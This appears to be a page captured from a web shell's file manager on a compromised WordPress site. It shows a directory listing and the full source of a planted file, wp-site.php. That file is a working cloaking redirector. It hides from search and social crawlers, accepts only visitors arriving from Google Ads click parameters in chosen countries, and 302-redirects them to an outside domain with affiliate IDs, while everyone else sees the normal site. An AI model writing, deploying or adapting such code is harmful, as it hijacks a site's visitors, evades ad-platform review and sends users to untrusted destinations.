at path:
ROOT
/
wp-site.php
run:
R
W
Run
.well-known
DIR
2026-03-05 09:26:35
R
W
Run
544579
DIR
2026-03-05 09:26:35
R
W
Run
67a7b
DIR
2026-04-06 07:36:47
R
W
Run
b87d56
DIR
2026-04-06 07:36:36
R
W
Run
cgi-bin
DIR
2026-03-05 09:26:35
R
W
Run
css
DIR
2026-03-05 09:26:35
R
W
Run
fonts
DIR
2026-03-05 09:26:35
R
W
Run
images
DIR
2026-03-05 09:26:35
R
W
Run
img
DIR
2026-03-05 09:26:35
R
W
Run
js
DIR
2026-03-05 09:26:35
R
W
Run
wp-admin
DIR
2026-03-05 09:26:35
R
W
Run
wp-content
DIR
2026-04-06 07:36:36
R
W
Run
wp-includes
DIR
2026-03-05 09:26:35
R
W
Run
.htaccess
1.13 KB
2024-07-02 07:36:36
R
W
Run
.litespeed_flag
297 By
2026-04-11 01:35:57
R
W
Run
Delete
Rename
error_log
4.51 MB
2026-04-11 01:23:44
R
W
Run
Delete
Rename
robots.txt
433 By
2024-02-25 07:36:36
R
W
Run
wp-site.php
7.62 KB
2026-03-18 01:36:38
R
W
Run
Delete
Rename
error_log
up
📄
wp-site.php
Save
<?php /* ========================= TOP-LEVEL SETTINGS ========================= */ // Главный файл (куда вести при любых ошибках/блоках) $MAIN_FILE = __DIR__ . '/index.php'; /* ========================= LOG SETTINGS ========================= */ // включение/выключение логов по ботам define('LOG_BOT_ENABLED', false); // включение/выключение логов по остальным ошибкам define('LOG_FAIL_ENABLED', false); // файл логов для ботов $LOG_FILE_BOT = __DIR__ . '/bot_block.log'; // файл логов для остальных ошибок $LOG_FILE_FAIL = __DIR__ . '/failed.log'; /* ========================= LOG FUNCTION ========================= */ function logFail($reason, $extra = []) { global $LOG_FILE_BOT, $LOG_FILE_FAIL; // определяем, это лог по боту или нет $isBot = ($reason === 'BOT_BLOCK'); // если бот, но лог ботов выключен — выходим if ($isBot && LOG_BOT_ENABLED !== true) { return; } // если не бот, но лог остальных ошибок выключен — выходим if (!$isBot && LOG_FAIL_ENABLED !== true) { return; } // выбираем нужный файл $logFile = $isBot ? $LOG_FILE_BOT : $LOG_FILE_FAIL; // Собираем полный URL, по которому пришёл запрос $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://'; $host = $_SERVER['HTTP_HOST'] ?? ''; $uri = $_SERVER['REQUEST_URI'] ?? ''; $fullUrl = $scheme . $host . $uri; $entry = [ 'time' => date('Y-m-d H:i:s'), 'ip' => $_SERVER['REMOTE_ADDR'] ?? '', 'ua' => $_SERVER['HTTP_USER_AGENT'] ?? '', 'url' => $fullUrl, 'ref' => $_SERVER['HTTP_REFERER'] ?? '', 'reason' => $reason, 'query' => $_SERVER['QUERY_STRING'] ?? '', 'extra' => $extra ]; file_put_contents( $logFile, json_encode($entry, JSON_UNESCAPED_UNICODE) . PHP_EOL, FILE_APPEND | LOCK_EX ); } /* ========================= LOCAL CONFIG ONLY ========================= */ $TARGET_DOMAIN = 'https://ktr.rest/BcHR9P'; $SUB_ID_1 = 'lev'; $SUB_ID_2 = 'zalupin'; $ALLOWED_COUNTRIES = ['DE', 'US', 'CA', 'KZ', 'IT', 'TW']; /* ========================= 1. BOT BLOCK (СРАЗУ) ========================= */ $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? ''; if ( $userAgent === '' || preg_match('/bot|crawl|spider|slurp|google|bing|yandex|duckduck|baidu|facebook|telegram|whatsapp/i', $userAgent) ) { logFail('BOT_BLOCK'); include $MAIN_FILE; exit; } /* ========================= 2. VALIDATORS (СНАЧАЛА ПАРАМЕТРЫ) ========================= */ function isDigits($value, $min, $max) { return is_string($value) && ctype_digit($value) && strlen($value) >= $min && strlen($value) <= $max; } function isTmValid($value) { return is_string($value) && strncmp($value, 'AW-', 3) === 0 && strlen($value) >= 32 && strlen($value) <= 42; } // Собираем GET-параметры $gad_campaignid = $_GET['gad_campaignid'] ?? null; $gad_source = $_GET['gad_source'] ?? null; $tm = $_GET['tm'] ?? null; $gclid = $_GET['gclid'] ?? null; $wbraid = $_GET['wbraid'] ?? null; $gbraid = $_GET['gbraid'] ?? null; // 2.1. gad_* + tm ОБЯЗАТЕЛЬНЫ И СНАЧАЛА ПРОВЕРЯЕМ ИХ if ( !isDigits($gad_campaignid, 9, 12) || !isDigits($gad_source, 1, 2) || !isTmValid($tm) ) { logFail('BASE_PARAMS_INVALID', [ 'gad_campaignid' => $gad_campaignid, 'gad_source' => $gad_source, 'tm' => $tm ]); include $MAIN_FILE; exit; } // 2.2. ОДИН ИЗ TRACKING ПАРАМЕТРОВ $hasValidTracking = false; if ($gclid && strlen($gclid) >= 50 && strlen($gclid) <= 105) { $hasValidTracking = true; } if ($wbraid && strlen($wbraid) >= 105 && strlen($wbraid) <= 135) { $hasValidTracking = true; } if ($gbraid && strlen($gbraid) >= 105 && strlen($gbraid) <= 135) { $hasValidTracking = true; } if (!$hasValidTracking) { logFail('TRACKING_INVALID', [ 'gclid' => $gclid, 'wbraid' => $wbraid, 'gbraid' => $gbraid ]); include $MAIN_FILE; exit; } /* ========================= 3. REAL IP ========================= */ function getUserIp() { if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) { return $_SERVER['HTTP_CF_CONNECTING_IP']; } if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { return explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0]; } return $_SERVER['REMOTE_ADDR'] ?? ''; } $ip = getUserIp(); if ($ip === '127.0.0.1' || $ip === '') { $ip = '8.8.8.8'; // local test / fallback } /* ========================= 4. GEO CHECK (ПОСЛЕ ПАРАМЕТРОВ) ========================= */ function getGeoMulti($ip) { // список резервных сервисов $services = [ 'ip-api' => [ 'url' => "http://ip-api.com/json/%s?fields=countryCode", 'key' => 'countryCode' ], 'geojs' => [ 'url' => "https://get.geojs.io/v1/ip/country/%s.json", 'key' => 'country' ], 'ipwhois' => [ 'url' => "http://ipwhois.app/json/%s", 'key' => 'country_code' ] ]; foreach ($services as $service) { $url = sprintf($service['url'], $ip); $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 2, // не ждём вечно CURLOPT_SSL_VERIFYPEER => false, ]); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($response && $httpCode === 200) { $data = json_decode($response, true); $countryCode = $data[$service['key']] ?? null; if ($countryCode && strlen($countryCode) === 2) { return strtoupper($countryCode); } } } return null; // никто не ответил } // 1) пробуем взять страну из Cloudflare $country = $_SERVER['HTTP_CF_IPCOUNTRY'] ?? null; // 2) если CF нет — идём по списку API if ($country === null) { $country = getGeoMulti($ip); } // 3) если так и не смогли определить — логируем, НО НЕ РЕЖЕМ if ($country === null) { logFail('GEO_UNKNOWN', ['ip' => $ip]); } else { // 4) если страна определена и не входит в список — блочим if (!in_array($country, $ALLOWED_COUNTRIES, true)) { logFail('GEO_BLOCK', ['country' => $country]); include $MAIN_FILE; exit; } } /* ========================= 5. DOMAIN ========================= */ $domain = $_SERVER["HTTP_X_FORWARDED_HOST"] ?? $_SERVER["HTTP_X_HOST"] ?? $_SERVER["HTTP_HOST"] ?? $_SERVER["SERVER_NAME"] ?? ''; /* ========================= 6. REDIRECT + TAIL ========================= */ $query = $_SERVER['QUERY_STRING'] ?? ''; $finalUrl = $TARGET_DOMAIN; $finalUrl .= ($query !== '' ? '?' . $query . '&' : '?'); $finalUrl .= 'sub_id_1=' . urlencode($SUB_ID_1) . '&sub_id_2=' . urlencode($SUB_ID_2) . '&domain=' . urlencode($domain); header('Location: ' . $finalUrl, true, 302); exit;